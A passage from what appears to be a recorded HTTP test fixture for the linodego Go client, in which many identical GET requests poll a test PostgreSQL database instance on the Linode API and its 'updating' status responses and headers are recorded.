"14.6", "region": "ap-west", "status": "updating", "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": 3, "hosts": {"primary": "lin-28228-11378-pgsql-primary.servers.linodedb.net", "secondary": "lin-28228-11378-pgsql-primary-private.servers.linodedb.net"}, "ssl_connection": false, "replication_type": "asynch", "replication_commit_type": "local", "port": 5432, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "689" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/postgresql/instances/28228 method: GET response: body: '{"id": 28228, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", "engine": "postgresql", "version": "14.6", "region": "ap-west", "status": "updating", "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": 3, "hosts": {"primary": "lin-28228-11378-pgsql-primary.servers.linodedb.net", "secondary": "lin-28228-11378-pgsql-primary-private.servers.linodedb.net"}, "ssl_connection": false, "replication_type": "asynch", "replication_commit_type": "local", "port": 5432, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "689" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/postgresql/instances/28228 method: GET response: body: '{"id": 28228, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", "engine": "postgresql", "version": "14.6", "region": "ap-west", "status": "updating", "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": 3, "hosts": {"primary": "lin-28228-11378-pgsql-primary.servers.linodedb.net", "secondary": "lin-28228-11378-pgsql-primary-private.servers.linodedb.net"}, "ssl_connection": false, "replication_type": "asynch", "replication_commit_type": "local", "port": 5432, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "689" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/postgresql/instances/28228 method: GET response: body: '{"id": 28228, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", "engine": "postgresql", "version": "14.6", "region": "ap-west", "status": "updating", "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": 3, "hosts": {"primary": "lin-28228-11378-pgsql-primary.servers.linodedb.net", "secondary": "lin-28228-11378-pgsql-primary-private.servers.linodedb.net"}, "ssl_connection": false, "replication_type": "asynch", "replication_commit_type": "local", "port": 5432, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "689" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/postgresql/instances/28228 method: GET response: body: '{"id": 28228, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", "engine": "postgresql", "version": "14.6", "region": "ap-west", "status": "updating", "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": 3, "hosts": {"primary": "lin-28228-11378-pgsql-primary.servers.linodedb.net", "secondary": "lin-28228-11378-pgsql-primary-private.servers.linodedb.net"}, "ssl_connection": false, "replication_type": "asynch", "replication_commit_type": "local", "port": 5432, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "689" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/postgresql/instances/28228 method: GET response: body: '{"id": 28228, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", "engine": "postgresql", "version": "14.6", "region": "ap-west", "status": "updating", "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": 3, "hosts": {"primary": "lin-28228-11378-pgsql-primary.servers.linodedb.net", "secondary": "lin-28228-11378-pgsql-primary-private.servers.linodedb.net"}, "ssl_connection": false, "replication_type": "asynch", "replication_commit_type": "local", "port": 5432, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "689" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/postgresql/instances/28228 method: GET response: body: '{"id": 28228, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", "engine": "postgresql", "version": "14.6", "region": "ap-west", "status": "updating", "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": 3, "hosts": {"primary": "lin-28228-11378-pgsql-primary.servers.linodedb.net", "secondary": "lin-28228-11378-pgsql-primary-private.servers.linodedb.net"}, "ssl_connection": false, "replication_type": "asynch", "replication_commit_type": "local", "port": 5432, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "689" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/postgresql/instances/28228 method: GET response: body: '{"id": 28228, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", "engine": "postgresql", "version": "14.6", "region": "ap-west", "status": "updating", "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": 3, "hosts": {"primary": "lin-28228-11378-pgsql-primary.servers.linodedb.net", "secondary": "lin-28228-11378-pgsql-primary-private.servers.linodedb.net"}, "ssl_connection": false, "replication_type": "asynch", "replication_commit_type": "local", "port": 5432, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "689" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/postgresql/instances/28228 method: GET response: body: '{"id": 28228, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", "engine": "postgresql", "version": "14.6", "region": "ap-west", "status": "updating", "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": 3, "hosts": {"primary": "lin-28228-11378-pgsql-primary.servers.linodedb.net", "secondary": "lin-28228-11378-pgsql-primary-private.servers.linodedb.net"}, "ssl_connection": false, "replication_type": "asynch", "replication_commit_type": "local", "port": 5432, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "689" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/postgresql/instances/28228 method: GET response: body: '{"id": 28228, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", "engine": "postgresql", "version": "14.6", "region": "ap-west", "status": "updating", "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": 3, "hosts": {"primary": "lin-28228-11378-pgsql-primary.servers.linodedb.net", "secondary": "lin-28228-11378-pgsql-primary-private.servers.linodedb.net"}, "ssl_connection": false, "replication_type": "asynch", "replication_commit_type": "local", "port": 5432, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "689" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/postgresql/instances/28228 method: GET response: body: '{"id": 28228, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", "engine": "postgresql", "version": "14.6", "region": "ap-west", "status": "updating", "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": 3, "hosts": {"primary": "lin-28228-11378-pgsql-primary.servers.linodedb.net", "secondary": "lin-28228-11378-pgsql-primary-private.servers.linodedb.net"}, "ssl_connection": false, "replication_type": "asynch", "replication_commit_type": "local", "port": 5432, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "689" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/postgresql/instances/28228 method: GET response: body: '{"id": 28228, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", "engine": "postgresql", "version": "14.6", "region": "ap-west", "status": "updating", "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": 3, "hosts": {"primary": "lin-28228-11378-pgsql-primary.servers.linodedb.net", "secondary": "lin-28228-11378-pgsql-primary-private.servers.linodedb.net"}, "ssl_connection": false, "replication_type": "asynch", "replication_commit_type": "local", "port": 5432, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "689" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/postgresql/instances/28228 method: GET response: body: '{"id": 28228, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", "engine": "postgresql", "version": "14.6", "region": "ap-west", "status": "updating", "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": 3, "hosts": {"primary": "lin-28228-11378-pgsql-primary.servers.linodedb.net", "secondary": "lin-28228-11378-pgsql-primary-private.servers.linodedb.net"}, "ssl_connection": false, "replication_type": "asynch", "replication_commit_type": "local", "port": 5432, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "689" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/postgresql/instances/28228 method: GET response: body: '{"id": 28228, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", "engine": "postgresql", "version": "14.6", "region": "ap-west", "status": "updating", "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": 3, "hosts": {"primary": "lin-28228-11378-pgsql-primary.servers.linodedb.net", "secondary": "lin-28228-11378-pgsql-primary-private.servers.linodedb.net"}, "ssl_connection": false, "replication_type": "asynch", "replication_commit_type": "local", "port": 5432, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "689" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/postgresql/instances/28228 method: GET response: body: '{"id": 28228, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", "engine": "postgresql", "version": "14.6", "region": "ap-west", "status": "updating", "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": 3, "hosts": {"primary": "lin-28228-11378-pgsql-primary.servers.linodedb.net", "secondary": "lin-28228-11378-pgsql-primary-private.servers.linodedb.net"}, "ssl_connection": false, "replication_type": "asynch", "replication_commit_type": "local", "port": 5432, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "689" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/postgresql/instances/28228 method: GET response: body: '{"id": 28228, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", "engine": "postgresql", "version": "14.6", "region": "ap-west", "status": "updating", "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": 3, "hosts": {"primary": "lin-28228-11378-pgsql-primary.servers.linodedb.net", "secondary": "lin-28228-11378-pgsql-primary-private.servers.linodedb.net"}, "ssl_connection": false, "replication_type": "asynch", "replication_commit_type": "local", "port": 5432, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "689" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/postgresql/instances/28228 method: GET response: body: '{"id": 28228, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", "engine": "postgresql", "version": "14.6", "region": "ap-west", "status": "updating", "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": 3, "hosts": {"primary": "lin-28228-11378-pgsql-primary.servers.linodedb.net", "secondary": "lin-28228-11378-pgsql-primary-private.servers.linodedb.net"}, "ssl_connection": false, "replication_type": "asynch", "replication_commit_type": "local", "port": 5432, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "689" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/postgresql/instances/28228 method: GET response: body: '{"id": 28228, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", "engine": "postgresql", "version": "14.6", "region": "ap-west", "status": "updating", "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": 3, "hosts": {"primary": "lin-28228-11378-pgsql-primary.servers.linodedb.net", "secondary": "lin-28228-11378-pgsql-primary-private.servers.linodedb.net"}, "ssl_connection": false, "replication_type": "asynch", "replication_commit_type": "local", "port": 5432, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, 